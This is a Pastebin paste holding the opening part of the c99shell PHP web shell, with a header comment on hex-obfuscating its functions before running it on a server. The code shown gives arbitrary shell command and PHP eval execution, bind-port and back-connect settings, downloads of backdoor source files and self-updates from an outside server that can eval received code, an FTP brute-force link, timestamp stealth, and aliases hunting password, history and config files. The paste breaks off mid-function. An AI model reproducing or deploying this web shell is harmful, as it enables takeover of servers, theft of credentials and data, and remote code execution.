Blade83

Full ServerControl Script

Jul 10th, 2012
365
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 156.16 KB | None | 0 0
  1. <?php
  2. /*
  3. full server controll script
  4.  
  5. go to http://blade83.de/asc2.php, select "ASC2 => HEX" and checked "In ausführbaren PHP Code".
  6. copy some functions from your code and paste it in the textarea and press "umrechnen".
  7. replace the function with the HEX output.
  8. run script on a server.
  9.  
  10. */
  11. //Starting calls
  12. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  13. error_reporting(5);
  14. @ignore_user_abort(true);
  15. @set_magic_quotes_runtime(0);
  16. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  17. define("starttime",getmicrotime());
  18. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  19. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  20. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  21.  
  22. $shver = "1.0 pre-release build #9"; //Current version
  23. //CONFIGURATION AND SETTINGS
  24. if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
  25. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
  26. else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
  27. }
  28.  
  29. $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.
  30.  
  31. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  32. if (empty($surl))
  33. {
  34.  $surl = "?".$includestr; //Self url
  35. }
  36. $surl = htmlspecialchars($surl);
  37.  
  38. $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  39.  
  40. //Authentication
  41. $login = ""; //login
  42. //DON'T FORGOT ABOUT PASSWORD!!!
  43. $pass = ""; //password
  44. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  45.  
  46. if (stristr($_SERVER["GATEWAY_INTERFACE"],"cgi")) {$login = "";} // If CGI then turn off auth.
  47.  
  48. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  49. $login_txt = "Restricted area"; //http-auth message.
  50. $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";
  51.  
  52. $gzipencode = true; //Encode with gzip?
  53.  
  54. $updatenow = false; //If true, update now (this variable will be false)
  55.  
  56. $c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server
  57. $c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server
  58.  
  59. $filestealth = true; //if true, don't change modify- and access-time
  60.  
  61. $donated_html = "<center><b>Owned by hacker</b></center>";
  62.         /* If you publish free shell and you wish
  63.         add link to your site or any other information,
  64.         put here your html. */
  65. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  66.  
  67. $curdir = "./"; //start folder
  68. //$curdir = getenv("DOCUMENT_ROOT");
  69. $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  70. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  71.  
  72. $log_email = "user@host.tld"; //Default e-mail for sending logs
  73.  
  74. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  75. $sort_save = true; //If true then save sorting-position using cookies.
  76.  
  77. // Registered file-types.
  78. //  array(
  79. //   "{action1}"=>array("ext1","ext2","ext3",...),
  80. //   "{action2}"=>array("ext4","ext5","ext6",...),
  81. //   ...
  82. //  )
  83. $ftypes  = array(
  84.  "html"=>array("html","htm","shtml"),
  85.  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  86.  "exe"=>array("sh","install","bat","cmd"),
  87.  "ini"=>array("ini","inf"),
  88.  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  89.  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  90.  "sdb"=>array("sdb"),
  91.  "phpsess"=>array("sess"),
  92.  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  93. );
  94.  
  95. // Registered executable file-types.
  96. //  array(
  97. //   string "command{i}"=>array("ext1","ext2","ext3",...),
  98. //   ...
  99. //  )
  100. //   {command}: %f% = filename
  101. $exeftypes  = array(
  102.  getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  103.  "perl %f%" => array("pl","cgi")
  104. );
  105.  
  106. /* Highlighted files.
  107.   array(
  108.    i=>array({regexp},{type},{opentag},{closetag},{break})
  109.    ...
  110.   )
  111.   string {regexp} - regular exp.
  112.   int {type}:
  113.     0 - files and folders (as default),
  114.     1 - files only, 2 - folders only
  115.   string {opentag} - open html-tag, e.g. "<b>" (default)
  116.   string {closetag} - close html-tag, e.g. "</b>" (default)
  117.   bool {break} - if true and found match then break
  118. */
  119. $regxp_highlight  = array(
  120.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  121.   array("config.php",1) // example
  122. );
  123.  
  124. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
  125.                                      // array (i=>{letter} ...); string {letter} - letter of a drive
  126. //$safemode_diskettes = range("a","z");
  127. $hexdump_lines = 8; // lines in hex preview file
  128. $hexdump_rows = 24; // 16, 24 or 32 bytes in one line
  129.  
  130. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  131.  
  132. $bindport_pass = "c99";   // default password for binding
  133. $bindport_port = "31373"; // default port for binding
  134. $bc_port = "31373"; // default port for back-connect
  135. $datapipe_localport = "8081"; // default port for datapipe
  136.  
  137. // Command-aliases
  138. if (!$win)
  139. {
  140.  $cmdaliases = array(
  141.   array("-----------------------------------------------------------", "ls -la"),
  142.   array("find all suid files", "find / -type f -perm -04000 -ls"),
  143.   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  144.   array("find all sgid files", "find / -type f -perm -02000 -ls"),
  145.   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  146.   array("find config.inc.php files", "find / -type f -name config.inc.php"),
  147.   array("find config* files", "find / -type f -name \"config*\""),
  148.   array("find config* files in current dir", "find . -type f -name \"config*\""),
  149.   array("find all writable folders and files", "find / -perm -2 -ls"),
  150.   array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  151.   array("find all service.pwd files", "find / -type f -name service.pwd"),
  152.   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  153.   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  154.   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  155.   array("find all .bash_history files", "find / -type f -name .bash_history"),
  156.   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  157.   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  158.   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  159.   array("list file attributes on a Linux second extended file system", "lsattr -va"),
  160.   array("show opened ports", "netstat -an | grep -i listen")
  161.  );
  162. }
  163. else
  164. {
  165.  $cmdaliases = array(
  166.   array("-----------------------------------------------------------", "dir"),
  167.   array("show opened ports", "netstat -an")
  168.  );
  169. }
  170.  
  171. $sess_cookie = "c99shvars"; // Cookie-variable name
  172.  
  173. $usefsbuff = true; //Buffer-function
  174. $copy_unset = false; //Remove copied files from buffer after pasting
  175.  
  176. //Quick launch
  177. $quicklaunch = array(
  178.  array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  179.  array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  180.  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  181.  array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  182.  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
  183.  array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  184.  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
  185.  array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
  186.  array("<b>Tools</b>",$surl."act=tools&d=%d"),
  187.  array("<b>Proc.</b>",$surl."act=processes&d=%d"),
  188.  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
  189.  array("<b>Sec.</b>",$surl."act=security&d=%d"),
  190.  array("<b>SQL</b>",$surl."act=sql&d=%d"),
  191.  array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
  192.  array("<b>Update</b>",$surl."act=update&d=%d"),
  193.  array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
  194.  array("<b>Self remove</b>",$surl."act=selfremove"),
  195.  array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
  196. );
  197.  
  198. //Highlight-code colors
  199. $highlight_background = "#c0c0c0";
  200. $highlight_bg = "#FFFFFF";
  201. $highlight_comment = "#6A6A6A";
  202. $highlight_default = "#0000BB";
  203. $highlight_html = "#1300FF";
  204. $highlight_keyword = "#007700";
  205. $highlight_string = "#000000";
  206.  
  207. @$f = $_REQUEST["f"];
  208. @extract($_REQUEST["c99shcook"]);
  209.  
  210. //END CONFIGURATION
  211.  
  212.  
  213. //              \/  Next code isn't for editing \/
  214. @set_time_limit(0);
  215. $tmp = array();
  216. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  217. $s = "!^(".implode("|",$tmp).")$!i";
  218. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
  219. if (!empty($login))
  220. {
  221.  if(empty($md5_pass)) {$md5_pass = md5($pass);}
  222.  if (($_SERVER["PHP_AUTH_USER"] != $login ) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  223.  {
  224.   if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  225.   header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  226.   header("HTTP/1.0 401 Unauthorized");
  227.   exit($accessdeniedmess);
  228.  }
  229. }
  230. if ($act != "img")
  231. {
  232. $lastdir = realpath(".");
  233. chdir($curdir);
  234. if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
  235. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  236. if (!is_array($sess_data)) {$sess_data = array();}
  237. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  238. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  239.  
  240. $disablefunc = @ini_get("disable_functions");
  241. if (!empty($disablefunc))
  242. {
  243.  $disablefunc = str_replace(" ","",$disablefunc);
  244.  $disablefunc = explode(",",$disablefunc);
  245. }
  246.  
  247. if (!function_exists("c99_buff_prepare"))
  248. {
  249. function c99_buff_prepare()
  250. {
  251.  global $sess_data;
  252.  global $act;
  253.  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  254.  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  255.  $sess_data["copy"] = array_unique($sess_data["copy"]);
  256.  $sess_data["cut"] = array_unique($sess_data["cut"]);
  257.  sort($sess_data["copy"]);
  258.  sort($sess_data["cut"]);
  259.  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  260.  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  261. }
  262. }
  263. c99_buff_prepare();
  264. if (!function_exists("c99_sess_put"))
  265. {
  266. function c99_sess_put($data)
  267. {
  268.  global $sess_cookie;
  269.  global $sess_data;
  270.  c99_buff_prepare();
  271.  $sess_data = $data;
  272.  $data = serialize($data);
  273.  setcookie($sess_cookie,$data);
  274. }
  275. }
  276. foreach (array("sort","sql_sort") as $v)
  277. {
  278.  if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  279.  if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  280. }
  281. if ($sort_save)
  282. {
  283.  if (!empty($sort)) {setcookie("sort",$sort);}
  284.  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  285. }
  286. if (!function_exists("str2mini"))
  287. {
  288. function str2mini($content,$len)
  289. {
  290.  if (strlen($content) > $len)
  291.  {
  292.   $len = ceil($len/2) - 2;
  293.   return substr($content, 0,$len)."...".substr($content,-$len);
  294.  }
  295.  else {return $content;}
  296. }
  297. }
  298. if (!function_exists("view_size"))
  299. {
  300. function view_size($size)
  301. {
  302.  if (!is_numeric($size)) {return false;}
  303.  else
  304.  {
  305.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  306.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  307.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  308.   else {$size = $size . " B";}
  309.   return $size;
  310.  }
  311. }
  312. }
  313. if (!function_exists("fs_copy_dir"))
  314. {
  315. function fs_copy_dir($d,$t)
  316. {
  317.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  318.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  319.  $h = opendir($d);
  320.  while (($o = readdir($h)) !== false)
  321.  {
  322.   if (($o != ".") and ($o != ".."))
  323.   {
  324.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  325.    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  326.    if (!$ret) {return $ret;}
  327.   }
  328.  }
  329.  closedir($h);
  330.  return true;
  331. }
  332. }
  333. if (!function_exists("fs_copy_obj"))
  334. {
  335. function fs_copy_obj($d,$t)
  336. {
  337.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  338.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  339.  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  340.  if (is_dir($d))
  341.  {
  342.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  343.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  344.   return fs_copy_dir($d,$t);
  345.  }
  346.  elseif (is_file($d)) {return copy($d,$t);}
  347.  else {return false;}
  348. }
  349. }
  350. if (!function_exists("fs_move_dir"))
  351. {
  352. function fs_move_dir($d,$t)
  353. {
  354.  $h = opendir($d);
  355.  if (!is_dir($t)) {mkdir($t);}
  356.  while (($o = readdir($h)) !== false)
  357.  {
  358.   if (($o != ".") and ($o != ".."))
  359.   {
  360.    $ret = true;
  361.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  362.    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}}
  363.    if (!$ret) {return $ret;}
  364.   }
  365.  }
  366.  closedir($h);
  367.  return true;
  368. }
  369. }
  370. if (!function_exists("fs_move_obj"))
  371. {
  372. function fs_move_obj($d,$t)
  373. {
  374.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  375.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  376.  if (is_dir($d))
  377.  {
  378.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  379.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  380.   return fs_move_dir($d,$t);
  381.  }
  382.  elseif (is_file($d))
  383.  {
  384.   if(copy($d,$t)) {return unlink($d);}
  385.   else {unlink($t); return false;}
  386.  }
  387.  else {return false;}
  388. }
  389. }
  390. if (!function_exists("fs_rmdir"))
  391. {
  392. function fs_rmdir($d)
  393. {
  394.  $h = opendir($d);
  395.  while (($o = readdir($h)) !== false)
  396.  {
  397.   if (($o != ".") and ($o != ".."))
  398.   {
  399.    if (!is_dir($d.$o)) {unlink($d.$o);}
  400.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  401.   }
  402.  }
  403.  closedir($h);
  404.  rmdir($d);
  405.  return !is_dir($d);
  406. }
  407. }
  408. if (!function_exists("fs_rmobj"))
  409. {
  410. function fs_rmobj($o)
  411. {
  412.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  413.  if (is_dir($o))
  414.  {
  415.   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  416.   return fs_rmdir($o);
  417.  }
  418.  elseif (is_file($o)) {return unlink($o);}
  419.  else {return false;}
  420. }
  421. }
  422. if (!function_exists("myshellexec"))
  423. {
  424. function myshellexec($cmd)
  425. {
  426.  global $disablefunc;
  427.  $result = "";
  428.  if (!empty($cmd))
  429.  {
  430.   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  431.   elseif (($result = `$cmd`) !== false) {}
  432.   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  433.   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  434.   elseif (is_resource($fp = popen($cmd,"r")))
  435.   {
  436.    $result = "";
  437.    while(!feof($fp)) {$result .= fread($fp,1024);}
  438.    pclose($fp);
  439.   }
  440.  }
  441.  return $result;
  442. }
  443. }
  444. if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
  445. if (!function_exists("view_perms"))
  446. {
  447. function view_perms($mode)
  448. {
  449.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  450.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  451.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  452.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  453.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  454.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  455.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  456.  else {$type = "?";}
  457.  
  458.  $owner["read"] = ($mode & 00400)?"r":"-";
  459.  $owner["write"] = ($mode & 00200)?"w":"-";
  460.  $owner["execute"] = ($mode & 00100)?"x":"-";
  461.  $group["read"] = ($mode & 00040)?"r":"-";
  462.  $group["write"] = ($mode & 00020)?"w":"-";
  463.  $group["execute"] = ($mode & 00010)?"x":"-";
  464.  $world["read"] = ($mode & 00004)?"r":"-";
  465.  $world["write"] = ($mode & 00002)? "w":"-";
  466.  $world["execute"] = ($mode & 00001)?"x":"-";
  467.  
  468.  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  469.  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  470.  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  471.  
  472.  return $type.join("",$owner).join("",$group).join("",$world);
  473. }
  474. }
  475. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return false;}}
  476. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return false;}}
  477. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return false;}}
  478. if (!function_exists("parse_perms"))
  479. {
  480. function parse_perms($mode)
  481. {
  482.  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  483.  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  484.  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  485.  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  486.  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  487.  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  488.  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  489.  else {$t = "?";}
  490.  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  491.  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  492.  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  493.  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  494. }
  495. }
  496. if (!function_exists("parsesort"))
  497. {
  498. function parsesort($sort)
  499. {
  500.  $one = intval($sort);
  501.  $second = substr($sort,-1);
  502.  if ($second != "d") {$second = "a";}
  503.  return array($one,$second);
  504. }
  505. }
  506. if (!function_exists("view_perms_color"))
  507. {
  508. function view_perms_color($o)
  509. {
  510.  if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  511.  elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  512.  else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  513. }
  514. }
  515. if (!function_exists("c99getsource"))
  516. {
  517. function c99getsource($fn)
  518. {
  519.  global $c99sh_sourcesurl;
  520.  $array = array(
  521.   "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
  522.   "c99sh_bindport.c" => "c99sh_bindport_c.txt",
  523.   "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
  524.   "c99sh_backconn.c" => "c99sh_backconn_c.txt",
  525.   "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
  526.   "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
  527.  );
  528.  $name = $array[$fn];
  529.  if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
  530.  else {return false;}
  531. }
  532. }
  533. if (!function_exists("c99sh_getupdate"))
  534. {
  535. function c99sh_getupdate($update = true)
  536. {
  537.  $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
  538.  $data = @file_get_contents($url);
  539.  if (!$data) {return "Can't connect to update-server!";}
  540.  else
  541.  {
  542.   $data = ltrim($data);
  543.   $string = substr($data,3,ord($data{2}));
  544.   if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return false;}
  545.   if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  546.   if ($data{0} == "\x99" and $data{1} == "\x03")
  547.   {
  548.    $string = explode("\x01",$string);
  549.    if ($update)
  550.    {
  551.     $confvars = array();
  552.     $sourceurl = $string[0];
  553.     $source = file_get_contents($sourceurl);
  554.     if (!$source) {return "Can't fetch update!";}
  555.     else
  556.     {
  557.      $fp = fopen(__FILE__,"w");
  558.      if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  559.      else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
  560.     }
  561.    }
  562.    else {return "New version are available: ".$string[1];}
  563.   }
  564.   elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
  565.   else {return "Error in protocol: segmentation failed! (".$data.") ";}
  566.  }
  567. }
  568. }
  569. if (!function_exists("mysql_dump"))
  570. {
  571. function mysql_dump($set)
  572. {
  573.  global $shver;
  574.  $sock = $set["sock"];
  575.  $db = $set["db"];
  576.  $print = $set["print"];
  577.  $nl2br = $set["nl2br"];
  578.  $file = $set["file"];
  579.  $add_drop = $set["add_drop"];
  580.  $tabs = $set["tabs"];
  581.  $onlytabs = $set["onlytabs"];
  582.  $ret = array();
  583.  $ret["err"] = array();
  584.  if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  585.  if (empty($db)) {$db = "db";}
  586.  if (empty($print)) {$print = 0;}
  587.  if (empty($nl2br)) {$nl2br = 0;}
  588.  if (empty($add_drop)) {$add_drop = true;}
  589.  if (empty($file))
  590.  {
  591.   $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  592.  }
  593.  if (!is_array($tabs)) {$tabs = array();}
  594.  if (empty($add_drop)) {$add_drop = true;}
  595.  if (sizeof($tabs) == 0)
  596.  {
  597.   // retrive tables-list
  598.   $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  599.   if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  600.  }
  601.  $out = "# Dumped by C99Shell.SQL v. ".$shver."
  602. # Home page: http://ccteam.ru
  603. #
  604. # Host settings:
  605. # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  606. # Date: ".date("d.m.Y H:i:s")."
  607. # DB: \"".$db."\"
  608. #---------------------------------------------------------
  609. ";
  610.  $c = count($onlytabs);
  611.  foreach($tabs as $tab)
  612.  {
  613.   if ((in_array($tab,$onlytabs)) or (!$c))
  614.   {
  615.    if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  616.    // recieve query for create table structure
  617.    $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  618.    if (!$res) {$ret["err"][] = mysql_smarterror();}
  619.    else
  620.    {
  621.     $row = mysql_fetch_row($res);
  622.     $out .= $row["1"].";\n\n";
  623.     // recieve table variables
  624.     $res = mysql_query("SELECT * FROM `$tab`", $sock);
  625.     if (mysql_num_rows($res) > 0)
  626.     {
  627.      while ($row = mysql_fetch_assoc($res))
  628.      {
  629.       $keys = implode("`, `", array_keys($row));
  630.       $values = array_values($row);
  631.       foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  632.       $values = implode("', '", $values);
  633.       $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  634.       $out .= $sql;
  635.      }
  636.     }
  637.    }
  638.   }
  639.  }
  640.  $out .= "#---------------------------------------------------------------------------------\n\n";
  641.  if ($file)
  642.  {
  643.   $fp = fopen($file, "w");
  644.   if (!$fp) {$ret["err"][] = 2;}
  645.   else
  646.   {
  647.    fwrite ($fp, $out);
  648.    fclose ($fp);
  649.   }
  650.  }
  651.  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  652.  return $out;
  653. }
  654. }
  655. if (!function_exists("mysql_buildwhere"))
  656. {
  657. function mysql_buildwhere($array,$sep=" and",$functs=array())
  658. {
  659.  if (!is_array($array)) {$array = array();}
  660.  $result = "";
  661.  foreach($array as $k=>$v)
  662.  {
  663.   $value = "";
  664.   if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  665.   $value .= "'".addslashes($v)."'";
  666.   if (!empty($functs[$k])) {$value .= ")";}
  667.   $result .= "`".$k."` = ".$value.$sep;
  668.  }
  669.  $result = substr($result,0,strlen($result)-strlen($sep));
  670.  return $result;
  671. }
  672. }
  673. if (!function_exists("mysql_fetch_all"))
  674. {
  675. function mysql_fetch_all($query,$sock)
  676. {
  677.  if ($sock) {$result = mysql_query($query,$sock);}
  678.  else {$result = mysql_query($query);}
  679.  $array = array();
  680.  while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  681.  mysql_free_result($result);
  682.  return $array;
  683. }
  684. }
  685. if (!function_exists("mysql_smarterror"))
  686. {
  687. function mysql_smarterror($type,$sock)
  688. {
  689.  if ($sock) {$error = mysql_error($sock);}
  690.  else {$error = mysql_error();}
  691.  $error = htmlspecialchars($error);
  692.  return $error;
  693. }
  694. }
  695. if (!function_exists("mysql_query_form"))
  696. {
  697. function mysql_query_form()
  698. {
  699.  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
